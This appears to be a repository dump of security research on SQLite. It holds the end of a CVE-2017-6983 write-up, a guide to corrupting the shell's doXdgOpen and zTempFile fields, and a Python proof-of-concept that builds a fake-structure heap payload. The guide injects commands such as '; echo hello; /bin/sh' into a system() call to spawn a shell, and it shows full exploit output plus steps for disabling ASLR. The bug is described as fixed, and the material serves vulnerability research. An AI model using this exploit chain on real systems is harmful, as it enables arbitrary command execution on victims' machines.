1356 | 0x77c = 0x80 + 0x220 + 0x8 + 0x38 + 0x308 + 0x4 + 0x8 + 0x138 + 0x48 + 0x8
1357 | ```
1358 |
1359 | The reason is that we have put each required structure one by one sequentially. However, we only need to corrupt a small portion of each structure to achieve the exploitation. Here is a summary of what we need to do
1360 |
1361 | ```txt
1362 | #----------------------------------------------------------
1363 | # required type.member values:
1364 |
1365 | # Fts3Cursor.base.pVtable = &Fts3Table [0, 8) (line 182454 @ fts3OptimizeFunc)
1366 | # Fts3Table.db = 0 [0x18, 8) (line 34895 @ sqlite3SafetyCheckOk)
1367 | # Fts3Table.pSegments = &Incrblob [0x1e0, 8) (line 98925 @ sqlite3_blob_close)
1368 | # Incrblob_metadata = 0 (due to malloc_usable_size)
1369 | # Incrblob.pStmt = &Vdbe [0x18, 8) (line 87440 @ sqlite3_finalize)
1370 | # Incrblob.db = &sqlite3 [0x20, 8) (line 98931 @ sqlite3_blob_close)
1371 | # sqlite3.mutex = 0 [0x18, 8) (line 98932 @ sqlite3_blob_close)
1372 | # sqlite3.pErr = &sqlite3_value [0x188, 8) (line 85445 @ sqlite3VdbeReset)
1373 | # sqlite3.lookaside.pEnd = 0 [0x1e8, 8) (line 29361 @ sqlite3DbFreeNN)
1374 | # sqlite3.lookaside.pTrueEnd = 0 [0x1f0, 8) (line 29305 @ isqlite3DbMallocSize)
1375 | # sqlite3.pnBytesFreed = &nBytesFreed [0x300, 8) (line 29385 @ sqlite3DbFreeNN)
1376 | # Vdbe_metadata = 0 (due to malloc_usable_size)
1377 | # Vdbe.db = &sqlite3 [0x0. 8) (line 87441 @ sqlite3_finalize)
1378 | # Vdbe.pc = 0 [0x30, 4) (line 85443 @ sqlite3VdbeReset)
1379 | # Vdbe.aMem = 0 [0x68, 8) (line 85458 @ sqlite3VdbeReset)
1380 | # Vdbe.apCsr = 0 [0x78, 8) (line 85457 @ sqlite3VdbeReset)
1381 | # Vdbe.pVList = 0 [0x80, 8) (line 85585 @ sqlite3VdbeClearObject)
1382 | # Vdbe.aOp = 0 [0x88, 8) (line 85588 @ sqlite3VdbeClearObject)
1383 | # Vdbe.nOp = 0 [0x90, 8) (line 85588 @ sqlite3VdbeClearObject)
1384 | # Vdbe.aColName = 0 [0x98, 8) (line 85574 @ sqlite3VdbeClearObject)
1385 | # Vdbe.zErrMsg = src_ptr [0xa8, 8) (line 85445 @ sqlite3VdbeReset)
1386 | # Vdbe.aVar = 0 [0xb0, 8) (line 85584 @ sqlite3VdbeClearObject)
1387 | # Vdbe.startTime = 0 [0xb8, 8) (line 87444 @ sqlite3_finalize)
1388 | # Vdbe.eVdbeState = 1 [0xcd, 1) (line 87445 @ sqlite3_finalize)
1389 | # Vdbe.zSql = 0 [0x100, 8) (line 85589 @ sqlite3VdbeClearObject)
1390 | # Vdbe.pFree = 0 [0x108, 8) (line 85586 @ sqlite3VdbeClearObject)
1391 | # Vdbe.pProgram = 0 [0x128, 8) (line 85578 @ sqlite3VdbeClearObject)
1392 | # sqlite3_value.db = 0 [0x18, 8) (line 81169 @ sqlite3VdbeMemSetStr)
1393 | # sqlite3_value.flags = 0 [0x14, 2) (line 80323 @ sqlite3VdbeMemClearAndResize)
1394 | # sqlite3_value.szMalloc = 0x100 [0x20, 4) (line 80324 @ sqlite3VdbeMemClearAndResize)
1395 | # sqlite3_value.zMalloc = dst_ptr [0x28, 8) (line 80328 @ sqlite3VdbeMemClearAndResize)
1396 | # malicious_metadata = 0 (due to malloc_usable_size)
1397 | # malicious_content = Your-bad-value
1398 | ```
1399 |
1400 | From this requirement, we find two methods to reduce the payload size:
1401 |
1402 | 1. Not all bytes are required in the payload.
1403 |
1404 | For example, the very first structure `Fts3Cursor` has 0x80 bytes in memory. However, we just need to corrupt the first 8 bytes of it. For the following 0x78 bytes, we can allocate for other structures, like `Fts3Tabble`.
1405 |
1406 | 2. There are huge holes within large structures.
1407 |
1408 | For example, `sqlite3` structure has 0x308 bytes, but we just need to corrupt 8 bytes at the relatively beginning (offset 0x18), some bytes in the middle (0x188-0x1f8), and another 8 bytes at the relatively end (offset 0x300). There are 0x168 bytes available at offset [0x20,0x188), and 0x108 bytes at offset [0x1f8,0x300).
1409 |
1410 | Therefore, we can try to reduce structure size, and try to overlay structures to reduce exploit payload size. By the way, there is another trick
1411 |
1412 | 3. If two fields (like 8 bytes) are required to be the same value, like 0, we can also overlay them.
1413 |
1414 | Based on these three ideas, we can change the layout to the follows:
1415 |
1416 | ```py
1417 | Fts3Cursor_size = 0x8
1418 | Vdbe_metadata_size = 0x8
1419 | Incrblob_metadata_size = 0x8
1420 | malicious_metadata_size = 0x8
1421 |
1422 | raddr_Fts3Cursor = 0
1423 | # put sqlite3, the largest (0x308) structure, immediately after Fts3Cursor
1424 | raddr_sqlite3 = raddr_Fts3Cursor + Fts3Cursor_size - 0x18 # Offset of 1st used member
1425 | # align Fts3Table within sqlite3
1426 | raddr_Fts3Table = raddr_sqlite3
1427 | # put Vdbe_medata + Vdbe (0x140) within sqlite3 (also within Fts3Table)
1428 | raddr_Vdbe_metadata = raddr_Fts3Table + 0x20
1429 | raddr_Vdbe = raddr_Vdbe_metadata + Vdbe_metadata_size
1430 | # put Incrblob_metadata + Incrblob (0x40) within sqlite3 (also within Fts3Table)
1431 | raddr_Incrblob_metadata = raddr_sqlite3 + 0x190
1432 | raddr_Incrblob = raddr_Incrblob_metadata + Incrblob_metadata_size
1433 | # put nBytesFreed (0x4) within sqlite3
1434 | raddr_nBytes_freed = raddr_sqlite3 + 0x1f8
1435 | # put sqlite3_value (0x48) within sqlite3
1436 | raddr_sqlite3_value = raddr_sqlite3 + 0x1fc
1437 | # put malicious_metata + malicious_content (0x8 + ?) within sqlite3
1438 | raddr_malicious_metadata = raddr_sqlite3 + 0x1fc + 0x48
1439 | raddr_malicious_content = raddr_malicious_metadata + malicious_metadata_size
1440 | ```
1441 |
1442 | In this way, we just need a smaller size. In fact, we can also put the 8-bytes used by Fts3Cursor within 0x308, which reduces the size to 0x308 exactly.
1443 |
1444 | ```txt
1445 | 0x310 = 0x8 + 0x308
1446 | ```
--------------------------------------------------------------------------------
/SQLite/doXdgOpen-attack.md:
--------------------------------------------------------------------------------
1 | # Corrupting `doXdgOpen` to Attack SQLite
2 |
3 | We try two methods to corrupt `doXdgOpen` to build attacks against SQLite, one via GDB simulation and another via a real-world vulnerablitiy. The vulnerability has been fixed so it will not cause immediate threat to exsiting SQLite installations.
4 |
5 | With these corruptions attackers can execute arbitrary command on victim systems.
6 |
7 | ## Attack Simulation via GDB
8 |
9 | To quickly confirm the feasiblity of building attacks, we use the GDB debugger to simulate an attacker who can write arbitrary value into arbitrary location through common memory safety issues, like buffer overflow or use-after-free.
10 |
11 | In particular, we set `doXdgOpen` to `true` and set `zTempFile` to a malicious string `; echo 'hello'; /bin/sh`. When the execution continues, `echo 'hello'` and `/bin/sh` will be executed.
12 |
13 | In the first step, we start an SQLite shell.
14 |
15 | ```bash
16 | $ sqlite3
17 | sqlite>
18 | ```
19 |
20 | In another terminal, we attach GDB to the SQLite shell process
21 |
22 | ```bash
23 | $ sudo gdb -p `pgrep sqlite3` # make sure only one sqlite3 exists
24 | ```
25 |
26 | Go to the `main` function frame, and update the two members of `ShellState`:
27 |
28 | ```bash
29 | (gdb) bt # Print backtrace of all stack frames. Content may vary
30 | #0 0x00007f3b44e5807b in __pselect (nfds=1, readfds=0x7ffd187094f0, writefds=0x0, exceptfds=0x0, timeout=, sigmask=0x7f3b45173c20 <_rl_orig_sigset>)
31 | at ../sysdeps/unix/sysv/linux/pselect.c:48
32 | #1 0x00007f3b45153be9 in rl_getc () from /lib/x86_64-linux-gnu/libreadline.so.8
33 | #2 0x00007f3b45154503 in rl_read_key () from /lib/x86_64-linux-gnu/libreadline.so.8
34 | #3 0x00007f3b45139c82 in readline_internal_char () from /lib/x86_64-linux-gnu/libreadline.so.8
35 | #4 0x00007f3b4513a4ed in readline () from /lib/x86_64-linux-gnu/libreadline.so.8
36 | #5 0x0000000000431b88 in one_input_line (in=0x0, zPrior=0x0, isContinuation=0) at shell.c:656
37 | #6 0x00000000004155b2 in process_input (p=0x7ffd187097c8) at shell.c:18343
38 | #7 0x000000000040a5f7 in main (argc=1, argv=0x7ffd1870adc8) at shell.c:19152
39 | (gdb) frame 7 # select the frame of main, which is #7 here
40 | #7 0x000000000040a5f7 in main (argc=1, argv=0x7ffd1870adc8) at shell.c:19152
41 | 19152 rc = process_input(&data);
42 | (gdb) p data.doXdgOpen # show doXdgOpen before corruption
43 | $1 = 0 '\000'
44 | (gdb) p data.zTempFile # show zTempFile before corruption
45 | $2 = 0x0
46 | (gdb) set data.doXdgOpen = 1 # corrupt doXdgOpen
47 | (gdb) set data.zTempFile = "; echo hello; /bin/sh" # corrupt zTempFile
48 | (gdb) p data.doXdgOpen # show doXdgOpen after corruption
49 | $3 = 1 '\001'
50 | (gdb) p data.zTempFile # show zTempFile after corruption
51 | $4 = 0x7f3b44d42990 "; echo hello; /bin/sh"
52 | ```
53 |
54 | Attack done. Now we can quit GDB.
55 |
56 | ```bash
57 | (gdb) quit
58 | Quit anyway? (y or n) y
59 | ```
60 |
61 | Go to the SQLite shell, quit the shell
62 |
63 | ```bash
64 | sqlite> .exit
65 | sh: 1: xdg-open: not found #<- reuslt of running "xdg-open "
66 | hello #<- result of running "echo 'hello'"
67 | $ #<- result of runing "/bin/sh"
68 | ```
69 |
70 | As we can see from the SQLite shell, SQLite executes command `system("xdg-open ; echo 'hello'; /bin/sh")`, which finally creates a terminal for attackers.
71 |
72 | ## Attack via Real-world (Fixed) Bugs
73 |
74 | Attackers can use any memory-safety issues to corrupt `doXdgOpen` and `zTempFile` to achieve arbitrary code execution. These bugs are not rare.
75 |
76 | #### 1. Gain arbitrary memory-write primitive
77 |
78 | We utilize the following, old vulnerability to construct an attack. More details about this bug is also available via this link.
79 |
80 | * [CVE-2017-6983](cve-2017-6983.md)
81 |
82 | #### 2. Compile SQLite
83 |
84 | ```bash
85 | # in sqlite folder
86 |
87 | CC="clang -DSQLITE_DEBUG" ./configure --enable-debug
88 | make
89 | ```
90 |
91 | #### 3. Proof-of-Concept (PoC)
92 |
93 | We exploit the vulnerability twice to corrupt both `p->doXdgOpen` and `p->zTempFile` respectively. We disabled ASLR in this attack, so the address of `p` and faked structures are fixed. The complete PoC can be found in [doXdgOpen-poc.py](./doXdgOpen-poc.py).
94 |
95 | Here are a few key steps among this attack
96 |
97 | **(1) Corrupt `p->doXdgOpen` to 1**
98 |
99 | ```py
100 | addr_ShellState = 0x7fffffffcf68 # get this address via GDB
101 | offset_doXdgOpen_ShellState = 0xe
102 |
103 | dst_ptr = addr_ShellState + offset_doXdgOpen_ShellState
104 | bad_val = 0x1
105 |
106 | # sqlite3_value.zMalloc = dst_ptr (line 80328 @ sqlite3VdbeMemClearAndResize)
107 | offset_sqlite3_value_zMalloc = 0x28
108 | raddr_sqlite3_value_zMalloc = raddr_sqlite3_value + offset_sqlite3_value_zMalloc
109 | zMalloc_val = dst_ptr
110 | exp = writeVal(exp, raddr_sqlite3_value_zMalloc, zMalloc_val)
111 |
112 | # malicious_content = Your-bad-value
113 | exp = writeVal(exp, raddr_malicious_content, bad_val)
114 | ```
115 |
116 | **(2) Corrupt `p->zTempFile` to `; ls`**
117 |
118 | ```py
119 | addr_ShellState = 0x7fffffffcf68
120 | offset_doXdgOpen_ShellState = 0xe
121 | offset_zTempFile_ShellState = 0x98
122 |
123 | safe_space_offset = 0x400 # leave the 1st attack untouched
124 | raddr_Fts3Cursor = safe_space_offset # shift the first allocation
125 |
126 | dst_ptr = addr_ShellState + offset_zTempFile_ShellState
127 |
128 | # sqlite3_value.zMalloc = dst_ptr (line 80328 @ sqlite3VdbeMemClearAndResize)
129 | offset_sqlite3_value_zMalloc = 0x28
130 | raddr_sqlite3_value_zMalloc = raddr_sqlite3_value + offset_sqlite3_value_zMalloc
131 | zMalloc_val = dst_ptr
132 | exp = writeVal(exp, raddr_sqlite3_value_zMalloc, zMalloc_val)
133 |
134 | # put "; bad-command" after malicious content
135 | raddr_string = raddr_malicious_content + 0x10 # leave the malicious value untouched
136 | exp = writeStr(exp, raddr_string, "--version; ls")
137 |
138 | # malicious_content = Your-bad-value
139 | exp = writeVal(exp, raddr_malicious_content, base + raddr_string)
140 |
141 | ```
142 |
143 | **(3) Trigger the bug twice**
144 |
145 | ```py
146 | with open('/tmp/exp', 'w') as f:
147 | f.write("create table t1(c1 char);\n")
148 | f.write("insert into t1 values(x'" + exp + "');\n")
149 | f.write("create virtual table a using fts3(b);\n")
150 | f.write("insert into a values(x'" + valToLittleEndianHex(base, 8) + "');\n")
151 | f.write("select optimize(b) from a;\n")
152 | f.write("delete from a;\n")
153 | f.write("insert into a values(x'" + valToLittleEndianHex(base + safe_space_offset, 8) + "');\n")
154 | f.write("select optimize(b) from a;\n")
155 | f.write("select sqlite_version();\n")
156 | ```
157 |
158 | **(4) Attack**
159 |
160 | ```bash
161 | # clean up sqlite cache
162 | $ rm -rf ~/.sqlite*
163 |
164 | # Need to figure out the correct base address and shellstate address
165 | # Check the CVE link above to figure out how
166 |
167 | # generate the exploit poc /tmp/exp
168 | $ python3 ./doXdgOpen-poc.py
169 |
170 | # exploit within gdb
171 | $ gdb ./sqlite3
172 | gdb-peda$ r < /tmp/exp
173 |
174 | Starting program: /home/hong/sqlite-for-viper/sqlite3 < /tmp/exp
175 | [Thread debugging using libthread_db enabled]
176 | Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
177 | Runtime error near line 5: bad parameter or other API misuse (21)
178 | Runtime error near line 8: bad parameter or other API misuse (21)
179 | 3.40.1
180 | [Attaching after Thread 0x7ffff7dee740 (LWP 50258) vfork to child process 50261]
181 | [New inferior 2 (process 50261)]
182 | [Thread debugging using libthread_db enabled]
183 | Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
184 | [Detaching vfork parent process 50258 after child exec]
185 | [Inferior 1 (process 50258) detached]
186 | process 50261 is executing new program: /usr/bin/dash
187 | [Thread debugging using libthread_db enabled]
188 | Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
189 | [Attaching after Thread 0x7ffff7fa1740 (LWP 50261) vfork to child process 50263]
190 | [New inferior 3 (process 50263)]
191 | [Thread debugging using libthread_db enabled]
192 | Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
193 | [Detaching vfork parent process 50261 after child exec]
194 | [Inferior 2 (process 50261) detached]
195 | process 50263 is executing new program: /usr/bin/dash
196 | [Thread debugging using libthread_db enabled]
197 | Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
198 | xdg-open 1.1.3
199 | [Inferior 3 (process 50263) exited normally]
200 |
201 | ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
202 | aclocal.m4 ext lempar.c manifest.uuid peda-session-cat.txt sqlite3 sqlite.pc.in
203 | art fts5.c libsqlite3.la mkkeywordhash peda-session-dash.txt sqlite3.1 src
204 | autoconf fts5.h libtool mkso.sh peda-session-dbus-send.txt sqlite3.c test
205 | config.guess fts5parse.c LICENSE.md mksourceid peda-session-groups.txt sqlite3ext.h tool
206 | config.log fts5parse.h ltmain.sh mptest peda-session-ls.txt sqlite3.h tsrc
207 | config.status fts5parse.out magic.txt opcodes.c peda-session-sqlite3.txt sqlite3.lo VERSION
208 | config.sub fts5parse.sql main.mk opcodes.h peda-session-vim.nox.txt sqlite3.o vsixtest
209 | configure fts5parse.y Makefile parse.c poc.py sqlite3.pc
210 | configure.ac input Makefile.in parse.h poc-simple.py sqlite3.pc.in
211 | contrib install-sh Makefile.linux-gcc parse.out README.md sqlite3session.h
212 | doc keywordhash.h Makefile.msc parse.sql shell.c sqlite_cfg.h
213 | doXdgOpen-poc.py lemon manifest parse.y spec.template sqlite_cfg.h.in
214 | ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
215 |
216 | Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
217 | Use 'set logging enabled off'.
218 |
219 | Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
220 | Use 'set logging enabled on'.
221 | ```
222 |
223 | ## Tips
224 |
225 | ### Disable ASLR
226 | ```
227 | cat /proc/sys/kernel/randomize_va_space
228 | sudo sysctl kernel.randomize_va_space=0
229 | ```
230 |
231 | ### Get size of a variable/type
232 | ```
233 | print sizeof(val)
234 | print sizeof(Type)
235 | ```
236 |
237 | ### Get offside of a member
238 | ```
239 | gdb-peda$ p/x &(((Fts3Table *)0)->db)
240 | ```
241 |
242 | ### Clear cache
243 | `rm ~/.sqlite*`
244 |
--------------------------------------------------------------------------------
/SQLite/doXdgOpen-poc.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | import os
4 | import sys
5 |
6 | def valToLittleEndianHex(value, length):
7 | b = '{num:0{width}X}'.format(num=value, width=length * 2)
8 | c = "".join(reversed([b[i:i+2] for i in range(0, len(b), 2)]))
9 | return c
10 |
11 | def strToLittleEndianHex(s):
12 | hex_bytes = [f'{ord(c):02X}' for c in s] # Convert each character to 2-digit hex
13 | return ''.join(hex_bytes)
14 |
15 | def writeBlob(exp, off, string):
16 | exp = list(exp)
17 | string = list(string)
18 | for i in range(0, len(string)):
19 | exp[off + i] = string[i]
20 | return ''.join(exp)
21 |
22 | def writeVal(exp, off, value, length=8):
23 | #print(hex(off), hex(value))
24 | return writeBlob(exp, off * 2, valToLittleEndianHex(value, length))
25 |
26 | def writeStr(exp, off, string):
27 | #print(hex(off), string)
28 | return writeBlob(exp, off * 2, strToLittleEndianHex(string))
29 |
30 | compact = True
31 |
32 | exp = valToLittleEndianHex(0xdeadbeef, 8) + "0" * 0x800 * 2
33 |
34 | addr_ShellState = 0x7fffffffcf68
35 | offset_doXdgOpen_ShellState = 0xe
36 | offset_zTempFile_ShellState = 0x98
37 |
38 | base = 0x667ad8
39 |
40 | #----------------------------------------------------------
41 | # expected layout:
42 |
43 | # Fts3Cursor (0x80)
44 | # Fts3Table (0x220)
45 | # Incrblob_metadata (0x8)
46 | # Incrblob (0x38)
47 | # sqlite3 (0x308)
48 | # nBytesFreed (0x4)
49 | # Vdbe_metadata (0x8)
50 | # Vdbe (0x138)
51 | # sqlite3_value (0x48)
52 | # malicious metadata (0x8)
53 | # malicious value/string (?)
54 |
55 | #----------------------------------------------------------
56 | # required type.member values:
57 |
58 | # Fts3Cursor.base.pVtab = &Fts3Table [0, 8) (line 182454 @ fts3OptimizeFunc)
59 | # Fts3Table.pSegments = &Incrblob [0x1e0, 8) (line 98925 @ sqlite3_blob_close)
60 | # Incrblob.pStmt = &Vdbe [0x18, 8) (line 87440 @ sqlite3_finalize)
61 | # Incrblob.db = &sqlite3 [0x20, 8) (line 98931 @ sqlite3_blob_close)
62 | # sqlite3.pErr = &sqlite3_value [0x188, 8) (line 85445 @ sqlite3VdbeReset)
63 | # sqlite3.pnBytesFreed = &nBytesFreed [0x300, 8) (line 29385 @ sqlite3DbFreeNN)
64 | # Vdbe.db = &sqlite3 [0x0. 8) (line 87441 @ sqlite3_finalize)
65 | # Vdbe.zErrMsg = src_ptr [0xa8, 8) (line 85445 @ sqlite3VdbeReset)
66 | # Vdbe.eVdbeState = 1 [0xcd, 1) (line 87445 @ sqlite3_finalize)
67 | # sqlite3_value.szMalloc = 0x100 [0x20, 4) (line 80324 @ sqlite3VdbeMemClearAndResize)
68 | # sqlite3_value.zMalloc = dst_ptr [0x28, 8) (line 80328 @ sqlite3VdbeMemClearAndResize)
69 | # malicious_content = Your-bad-value
70 |
71 | #----------------------------------------------------------
72 | # common sizes and offsets
73 |
74 | # sizeof types
75 | Fts3Cursor_size = 0x80
76 | Fts3Table_size = 0x220
77 | Incrblob_metadata_size = 0x8
78 | Incrblob_size = 0x38
79 | sqlite3_size = 0x308
80 | nBytesFreed_size = 0x4
81 | Vdbe_metadata_size = 0x8
82 | Vdbe_size = 0x138
83 | sqlite3_value_size = 0x48
84 | malicious_metadata_size = 0x8
85 |
86 | # raddr -> address relative to base
87 | # -> offset relattive to exp
88 | raddr_Fts3Cursor = 0
89 | raddr_Fts3Table = raddr_Fts3Cursor + Fts3Cursor_size
90 | raddr_Incrblob_metadata = raddr_Fts3Table + Fts3Table_size
91 | raddr_Incrblob = raddr_Incrblob_metadata + Incrblob_metadata_size
92 | raddr_sqlite3 = raddr_Incrblob + Incrblob_size
93 | raddr_nBytesFreed = raddr_sqlite3 + sqlite3_size
94 | raddr_Vdbe_metadata = raddr_nBytesFreed + nBytesFreed_size
95 | raddr_Vdbe = raddr_Vdbe_metadata + Vdbe_metadata_size
96 | raddr_sqlite3_value = raddr_Vdbe + Vdbe_size
97 | raddr_malicious_metadata = raddr_sqlite3_value + sqlite3_value_size
98 | raddr_malicious_content = raddr_malicious_metadata + malicious_metadata_size
99 |
100 | # offset_type_member -> offset of member within type
101 |
102 | if compact:
103 |
104 | Fts3Cursor_size = 0x8
105 | raddr_Fts3Cursor = 0
106 | # put sqlite3, the largest (0x308) structure, immediately after Fts3Cursor
107 | raddr_sqlite3 = raddr_Fts3Cursor + Fts3Cursor_size - 0x18 # Offset of 1st used member
108 | # align Fts3Table within sqlite3
109 | raddr_Fts3Table = raddr_sqlite3
110 | # put Vdbe_medata + Vdbe (0x140) within sqlite3 (also within Fts3Table)
111 | raddr_Vdbe_metadata = raddr_Fts3Table + 0x20
112 | Vdbe_metadata_size = 0x8
113 | raddr_Vdbe = raddr_Vdbe_metadata + Vdbe_metadata_size
114 | # put Incrblob_metadata + Incrblob (0x40) within sqlite3 (also within Fts3Table)
115 | raddr_Incrblob_metadata = raddr_sqlite3 + 0x190
116 | Incrblob_metadata_size = 0x8
117 | raddr_Incrblob = raddr_Incrblob_metadata + Incrblob_metadata_size
118 | # put nBytesFreed (0x4) within sqlite3
119 | raddr_nBytes_freed = raddr_sqlite3 + 0x1f8
120 | # put sqlite3_value (0x48) within sqlite3
121 | raddr_sqlite3_value = raddr_sqlite3 + 0x1fc
122 | # put malicious_metata + malicious_content (0x8 + ?) within sqlite3
123 | raddr_malicious_metadata = raddr_sqlite3 + 0x1fc + 0x48
124 | malicious_metadata_size = 0x8
125 | raddr_malicious_content = raddr_malicious_metadata + malicious_metadata_size
126 |
127 | #----------------------------------------------------------
128 | # 1st malicious actions --> corrupt doXdgOpen
129 |
130 | dst_ptr = addr_ShellState + offset_doXdgOpen_ShellState
131 | bad_val = 0x1
132 |
133 | # Fts3Cursor.base.pVtab = &Fts3Table
134 | offset_Fts3Cursor_pVtab = 0
135 | raddr_Fts3Cursor_pVtab = raddr_Fts3Cursor + offset_Fts3Cursor_pVtab
136 | addr_Fts3Table = base + raddr_Fts3Table
137 | exp = writeVal(exp, raddr_Fts3Cursor_pVtab, addr_Fts3Table)
138 |
139 | # Fts3Table.pSegments = &Incrblob
140 | offset_Fts3Table_pSegments = 0x1e0
141 | raddr_Fts3Table_pSegments = raddr_Fts3Table + offset_Fts3Table_pSegments
142 | addr_Incrblob = base + raddr_Incrblob
143 | exp = writeVal(exp, raddr_Fts3Table_pSegments, addr_Incrblob)
144 |
145 | # Incrblob.db = &sqlite3
146 | offset_Incrblob_db = 0x20
147 | raddr_Incrblob_db = raddr_Incrblob + offset_Incrblob_db
148 | addr_sqlite3 = base + raddr_sqlite3
149 | exp = writeVal(exp, raddr_Incrblob_db, addr_sqlite3)
150 |
151 | # sqlite3.pnBytesFreed = &nBytesFreed (line 29385 @ sqlite3DbFreeNN)
152 | offset_sqlite3_pnBytesFreed = 0x300
153 | raddr_sqlite3_pnBytesFreed = raddr_sqlite3 + offset_sqlite3_pnBytesFreed
154 | addr_nBytesFreed = base + raddr_nBytesFreed
155 | exp = writeVal(exp, raddr_sqlite3_pnBytesFreed, addr_nBytesFreed)
156 |
157 | # sqlite3.lookaside.pTrueEnd = 0 (line 29305 @ isqlite3DbMallocSize)
158 | offset_sqlite3_lookaside_pTrueEnd = 0x1f0
159 | raddr_lookaside_pTrueEnd = raddr_sqlite3 + offset_sqlite3_lookaside_pTrueEnd
160 | pTrueEnd_val = 0
161 | exp = writeVal(exp, raddr_lookaside_pTrueEnd, pTrueEnd_val)
162 |
163 | # Incrblob.pStmt = &Vdbe (line 87440 # sqlite3_finalize)
164 | offset_Incrblob_pStmt = 0x18
165 | raddr_Incrblob_pStmt = raddr_Incrblob + offset_Incrblob_pStmt
166 | addr_Vdbe = base + raddr_Vdbe
167 | exp = writeVal(exp, raddr_Incrblob_pStmt, addr_Vdbe)
168 |
169 | # Vdbe.db = &sqlite3 (line 87441 @ sqlite3_finalize)
170 | offset_Vdbe_db = 0x0
171 | raddr_Vdbe_db = raddr_Vdbe + offset_Vdbe_db
172 | exp = writeVal(exp, raddr_Vdbe_db, addr_sqlite3)
173 |
174 | # Vdbe.eVdbeState = 1 (line 87445 @ sqlite3_finalize)
175 | offset_Vdbe_eVdbeState = 0xcd
176 | raddr_Vdbe_eVdbeState = raddr_Vdbe + offset_Vdbe_eVdbeState
177 | eVdbeState_val = 1
178 | exp = writeVal(exp, raddr_Vdbe_eVdbeState, eVdbeState_val, 1)
179 |
180 | # Vdbe.zErrMsg = src_ptr (line 85445 @ sqlite3VdbeReset)
181 | offset_Vdbe_zErrMsg = 0xa8
182 | raddr_Vdbe_zErrMsg = raddr_Vdbe + offset_Vdbe_zErrMsg
183 | src_ptr = base + raddr_malicious_content
184 | zErrMsg_val = src_ptr
185 | exp = writeVal(exp, raddr_Vdbe_zErrMsg, zErrMsg_val)
186 |
187 | # sqlite3.pErr = &sqlite3_value (line 85445 @ sqlite3VdbeReset)
188 | offset_sqlite3_pErr = 0x188
189 | raddr_sqlite3_pErr = raddr_sqlite3 + offset_sqlite3_pErr
190 | addr_sqlite3_value = base + raddr_sqlite3_value
191 | exp = writeVal(exp, raddr_sqlite3_pErr, addr_sqlite3_value)
192 |
193 | # sqlite3_value.szMalloc = 0x100 (line 80324 @ sqlite3VdbeMemClearAndResize)
194 | offset_sqlite3_value_szMalloc = 0x20
195 | raddr_sqlite3_value_szMalloc = raddr_sqlite3_value + offset_sqlite3_value_szMalloc
196 | szMalloc_val = 0x100
197 | exp = writeVal(exp, raddr_sqlite3_value_szMalloc, szMalloc_val, 4)
198 |
199 | # sqlite3_value.zMalloc = dst_ptr (line 80328 @ sqlite3VdbeMemClearAndResize)
200 | offset_sqlite3_value_zMalloc = 0x28
201 | raddr_sqlite3_value_zMalloc = raddr_sqlite3_value + offset_sqlite3_value_zMalloc
202 | zMalloc_val = dst_ptr
203 | exp = writeVal(exp, raddr_sqlite3_value_zMalloc, zMalloc_val)
204 |
205 | # malicious_content = Your-bad-value
206 | exp = writeVal(exp, raddr_malicious_content, bad_val)
207 |
208 | # #----------------------------------------------------------
209 | # # 2nd malicious actions -> corrupt zTempFile
210 | #
211 | safe_space_offset = 0x400
212 | raddr_Fts3Cursor = safe_space_offset
213 |
214 | # raddr -> address relative to base
215 | # -> offset relattive to exp
216 | raddr_Fts3Table = raddr_Fts3Cursor + Fts3Cursor_size
217 | raddr_Incrblob_metadata = raddr_Fts3Table + Fts3Table_size
218 | raddr_Incrblob = raddr_Incrblob_metadata + Incrblob_metadata_size
219 | raddr_sqlite3 = raddr_Incrblob + Incrblob_size
220 | raddr_nBytesFreed = raddr_sqlite3 + sqlite3_size
221 | raddr_Vdbe_metadata = raddr_nBytesFreed + nBytesFreed_size
222 | raddr_Vdbe = raddr_Vdbe_metadata + Vdbe_metadata_size
223 | raddr_sqlite3_value = raddr_Vdbe + Vdbe_size
224 | raddr_malicious_metadata = raddr_sqlite3_value + sqlite3_value_size
225 | raddr_malicious_content = raddr_malicious_metadata + malicious_metadata_size
226 |
227 | # offset_type_member -> offset of member within type
228 |
229 | if compact:
230 |
231 | Fts3Cursor_size = 0x8
232 | # put sqlite3, the largest (0x308) structure, immediately after Fts3Cursor
233 | raddr_sqlite3 = raddr_Fts3Cursor + Fts3Cursor_size - 0x18 # Offset of 1st used member
234 | # align Fts3Table within sqlite3
235 | raddr_Fts3Table = raddr_sqlite3
236 | # put Vdbe_medata + Vdbe (0x140) within sqlite3 (also within Fts3Table)
237 | raddr_Vdbe_metadata = raddr_Fts3Table + 0x20
238 | Vdbe_metadata_size = 0x8
239 | raddr_Vdbe = raddr_Vdbe_metadata + Vdbe_metadata_size
240 | # put Incrblob_metadata + Incrblob (0x40) within sqlite3 (also within Fts3Table)
241 | raddr_Incrblob_metadata = raddr_sqlite3 + 0x190
242 | Incrblob_metadata_size = 0x8
243 | raddr_Incrblob = raddr_Incrblob_metadata + Incrblob_metadata_size
244 | # put nBytesFreed (0x4) within sqlite3
245 | raddr_nBytes_freed = raddr_sqlite3 + 0x1f8
246 | # put sqlite3_value (0x48) within sqlite3
247 | raddr_sqlite3_value = raddr_sqlite3 + 0x1fc
248 | # put malicious_metata + malicious_content (0x8 + ?) within sqlite3
249 | raddr_malicious_metadata = raddr_sqlite3 + 0x1fc + 0x48
250 | malicious_metadata_size = 0x8
251 | raddr_malicious_content = raddr_malicious_metadata + malicious_metadata_size
252 |
253 | dst_ptr = addr_ShellState + offset_zTempFile_ShellState
254 |
255 | # Fts3Cursor.base.pVtab = &Fts3Table
256 | offset_Fts3Cursor_pVtab = 0
257 | raddr_Fts3Cursor_pVtab = raddr_Fts3Cursor + offset_Fts3Cursor_pVtab
258 | addr_Fts3Table = base + raddr_Fts3Table
259 | exp = writeVal(exp, raddr_Fts3Cursor_pVtab, addr_Fts3Table)
260 |
261 | # Fts3Table.pSegments = &Incrblob
262 | offset_Fts3Table_pSegments = 0x1e0
